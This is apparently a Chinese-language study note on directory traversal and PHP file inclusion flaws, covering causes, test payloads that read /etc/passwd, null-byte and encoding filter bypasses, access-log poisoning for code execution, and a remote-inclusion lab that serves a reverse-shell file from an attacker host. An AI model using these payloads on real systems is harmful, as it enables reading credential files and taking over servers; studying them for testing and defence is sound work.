產生原因:目錄權限限制不嚴格,開發人員為了使代碼更靈活,會將被包含的文件設置為變量,用來進行動態調用。
后果:
目錄遍歷:使用者可以通過瀏覽器的url地址或者參數變量可以讀取除了web目錄下的其他的文件(如果運行php的用戶是root則可以讀取任意文件)
文件包含:開發人員為了使代碼更靈活,會將被包含的文件設置為變量,用來進行動態調用,從而導致客戶端可以惡意調用一個惡意文件,造成文件包含漏洞
也分本地文件包含,遠程文件包含(可以包含其他網頁的內容)
發現漏洞:url或者參數中有漏洞特征但不絕對
?page=a.php
?home=b.html
?file=content
測試方法:
?file=../../../../etc/passwd
?page=file:///etc/passwd (文件包含漏洞,直接可以訪問絕對路徑)
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/../../../../dir/file.txt
遠程包含也可以在另一台主機放入惡意代碼讓被攻擊服務器訪問並執行
編碼繞過字符過濾
對於web程序自動在文件目錄補上php后綴時使用,可以繞過文件擴展名過濾(5.3版本以前)
加個 " . "
加個 “ %00 ” 在php語言中,加入%00后不看后面的東西
如果服務器過濾特殊字符可以嘗試用utf-8編碼,url編碼(雙層url編碼)繞過
其他系統路徑可能使用到的字符
• file.txt...
• file.txt<spaces> #空格
• file.txt” ””
• file.txt<<<>>><
• ./././file.txt (對於有些webapp不支持直接訪問,可以嘗試加./././)
• nonexistant/../file.txt #輸入一個不存在的目錄【很多操作系統已經過濾】
本地文件包含實驗:
一般本地包含文件漏洞只能查看文件,配合文件上傳可以拿取shell
代碼執行【特殊情況下:通過服務器的訪問日志,實現代碼注入】
- 查看access.log文件
- 訪問Apache2 access.log 【前提:其他用戶對該文件有讀取權限】
然后在瀏覽器中訪問該文件
?page=/var/log/apache2/access.log
- 注意事項:Linux系統中,當你對一個文件賦予了權限的同時,要保證其層級目錄也被賦予的相同的權限
遠程文件包含實驗:
- 在攻擊者主機配置web服務,在web目錄中存放反彈shell文件
- 訪問遠程文件包含文件就獲取了cmd
最后還可以利用字典文件對所有目錄進行遍歷,看那些文件能夠讀取
可以用到kali里面的/usr/share/wfuzz/wordlist/vulns/